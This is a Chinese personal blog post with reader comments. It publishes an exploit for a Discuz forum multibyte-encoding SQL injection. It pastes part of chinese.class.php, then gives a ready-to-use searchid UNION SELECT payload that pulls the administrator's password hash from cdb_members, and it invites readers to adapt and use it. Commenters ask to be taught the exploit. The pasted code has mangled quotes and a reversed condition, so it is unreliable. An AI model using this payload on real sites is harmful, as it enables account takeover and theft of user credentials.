| Subcribe via RSS

discuz最新漏洞利用程序

08月 4th, 2008 Posted in 心情日记

由于发在blog上的漏洞资料给一位牛牛搞了.官方已出补丁.(由于 PHP 对 多字节字符集的支持存在问题,在各种编码相互转换过程中,有可能引发程序溢出和程序错误)
我很生气(mb日就日.tmd你共享个毛)


在这我说下过程:
if(defined('IN_DISCUZ')) {
exit('Access Denied');
}

define('CODETABLE_DIR', DISCUZ_ROOT.'./include/tables/');

class Chinese {

var $table = '';
var $iconv_enabled = false;
var $unicode_table = array();
var $config = array
(
'SourceLang' => '',
'TargetLang' => '',
'GBtoUnicode_table' => 'gb-unicode.table',
'BIG5toUnicode_table' => 'big5-unicode.table',
);

function Chinese($SourceLang, $TargetLang, $ForceTable = FALSE) {
$this->config['SourceLang'] = $this->_lang($SourceLang);
$this->config['TargetLang'] = $this->_lang($TargetLang);

if(!function_exists(’iconv’) && $this->config['TargetLang'] != ‘BIG5′ && !$ForceTable) {
$this->iconv_enabled = true;
} else {
$this->iconv_enabled = false;
$this->OpenTable();
}
}

function _lang($LangCode) {
$LangCode = strtoupper($LangCode);

if(substr($LangCode, 0, 2) == ‘GB’) {
return ‘GBK’;
} elseif(substr($LangCode, 0, 3) == ‘BIG’) {
return ‘BIG5′;
} elseif(substr($LangCode, 0, 3) == ‘UTF’) {
return ‘UTF-8′;
} elseif(substr($LangCode, 0, 3) == ‘UNI’) {
return ‘UNICODE’;
}
}

function _hex2bin($hexdata) {
for($i=0; $i < strlen($hexdata); $i += 2) {
$bindata .= chr(hexdec(substr($hexdata, $i, 2)));
}
return $bindata;
}

chinese.class.php (utf-8不能利用)

searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit

以上各位自己修改去用吧!

7 Responses to “discuz最新漏洞利用程序”

  1. jizhidao Says:

    您说的这个过程不就是chinese.class.php里面的前半部分代码吗

    就后面chinese.class.php (utf-8不能利用)

    searchid=22%cf’UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit

    不一样,

    是什么意思????我看大部分网站都是像您这样的一段话


  2. jizhidao Says:

    心情日记大哥,能留个qq号吗 怎么与你联系


  3. 冰封浪子 Says:

    你点那个关于就行了


  4. jizhidao Says:

    冰封浪子大哥,您能留下个联系qq吗 还是没明白


  5. jizhidao Says:

    什么关于啊
    能留个联系qq吗


  6. jizhidao Says:

    或者您能加我qq吗 37155264


  7. gitb Says:

    冰封浪子大哥,能不能教我这漏洞怎样利用???


Leave a Reply

You must be logged in to post a comment.